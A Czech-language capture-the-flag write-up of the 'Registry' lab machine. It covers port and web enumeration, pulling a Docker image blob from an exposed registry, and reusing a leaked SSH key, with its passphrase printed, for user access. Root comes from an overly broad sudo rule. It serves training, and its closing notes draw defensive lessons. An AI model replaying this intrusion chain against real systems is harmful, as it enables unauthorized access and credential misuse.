Registry
Úvod a kontext
Registry stojí na řetězení několika konkrétních slabin a artefaktů: docker.registry.htb, Docker registry a image vrstvy a nginx.
Důležitější než samotný exploit je tady interpretace mezikroků, protože právě z těchto indicií vzniká stabilní uživatelský přístup opřený o id_rsa a teprve na něj navazuje příliš široká sudo oprávnění.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
nmap -p 1-65535 -T4 -A -sC -v $IP
PORT STATE SERVICE VERSION
Detailní analýza služeb
V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
| 256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_ 256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Welcome to nginx!
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=docker.registry.htb
| Issuer: commonName=Registry
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-05-06T21:14:35
| Not valid after: 2029-05-03T21:14:35
| MD5: 0d6f 504f 1cb5 de50 2f4e 5f67 9db6 a3a9
|_SHA-1: 7da0 1245 1d62 d69b a87e 8667 083c 39a6 9eb2 b2b5
4444/tcp filtered krb524
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vyhledání otevřených portů (2)
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
nmap -sU -T4 -v $IP
--------------------
Enumerace webu
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
dirb http://$IP
DIRECTORY: http://10.10.10.159/install/
Enumerace webu (2)
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
dirb http://docker.registry.htb
http://docker.registry.htb/v2/
http://docker.registry.htb/v2/_catalog
http://docker.registry.htb/v2/bolt-image/tags/list
http://docker.registry.htb/v2/bolt-image/manifests/latest
Analýza zjištění
Identifikace a hledání exploitu
Zjišťuji technologii a ověřuji známé zranitelnosti.
whatweb -v http://$IP
nginx[1.14.0], X-Frame-Options[DENY], HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], HTML5, UncommonHeaders[x-content-type-options], Strict-Transport-Security[max-age=63072000; includeSubdomains]
Identifikace a hledání exploitu (2)
Zjišťuji technologii a ověřuji známé zranitelnosti.
whatweb -v http://docker.registry.htb
nginx[1.14.0], X-Frame-Options[DENY], HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], UncommonHeaders[x-content-type-options], Strict-Transport-Security[max-age=63072000; includeSubdomains]
Přílohy

Získání přístupu
Přihlášení na cíl (2)
Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.
wget --http-user=admin --http-password=__CENSORED__ http://docker.registry.htb/v2/bolt-image/blobs/sha256:__CENSORED__
rename to *.tgz -> extract
log:
pawn ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
cat user.txt
__CENSORED__
IP=10.10.10.159
scp -i ../../Desktop/HTB/Registry-id_rsa * bolt@$IP:/tmp/T/
GkOcz221Ftb3ugog
chmod +x *.sh
chmod +x *.pl
./LinEnum.sh -t > linenum.txt
./linpeas.sh > linpeas.txt
./linux-exploit-suggester-2.pl > les2.txt
./linux-exploit-suggester.sh > les.txt
Eskalace oprávnění
Průzkum možností eskalace
Hledám chybné konfigurace a cesty k vyšším oprávněním.
sudo -l
=> (root) NOPASSWD: __CENSORED__ backup -r rest*
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- První skutečně užitečný závěr plynul z toho, jak do sebe zapadly
docker.registry.htb, Docker registry a image vrstvy a nginx. - User fáze se opírala o stabilní uživatelský přístup opřený o
id_rsa, takže přístup byl reprodukovatelný a ne jen jednorázový. - Finální kontrolu nad systémem otevřela až mechanika typu příliš široká
sudooprávnění.
Co si odnést do praxe
- Tento řetězec začal u
docker.registry.htb, Docker registry a image vrstvy a nginx; právě tam má obrana největší návratnost. Registry, image vrstvy a build pipeline potřebují stejnou péči jako produkční aplikace; únik konfiguračních dat z containerového ekosystému rychle obchází jiné obrany. - Foothold navázal na stabilní uživatelský přístup opřený o
id_rsa, takže oddělení účtů a tajemství není jen teorie. Jakmile se v prostředí objeví použitelný klíč, heslo nebo token, je potřeba předpokládat okamžitý pivot na stabilní shell; obrana proto stojí na segmentaci a oddělení přístupů mezi službami. - Poslední krok stojí na příliš široká
sudooprávnění, a proto je nutné auditovat i lokální delegaci práv. Širokásudooprávnění je potřeba pravidelně revidovat; wrapper, install helper nebo diagnostický příkaz často udělá z běžného účtu roota.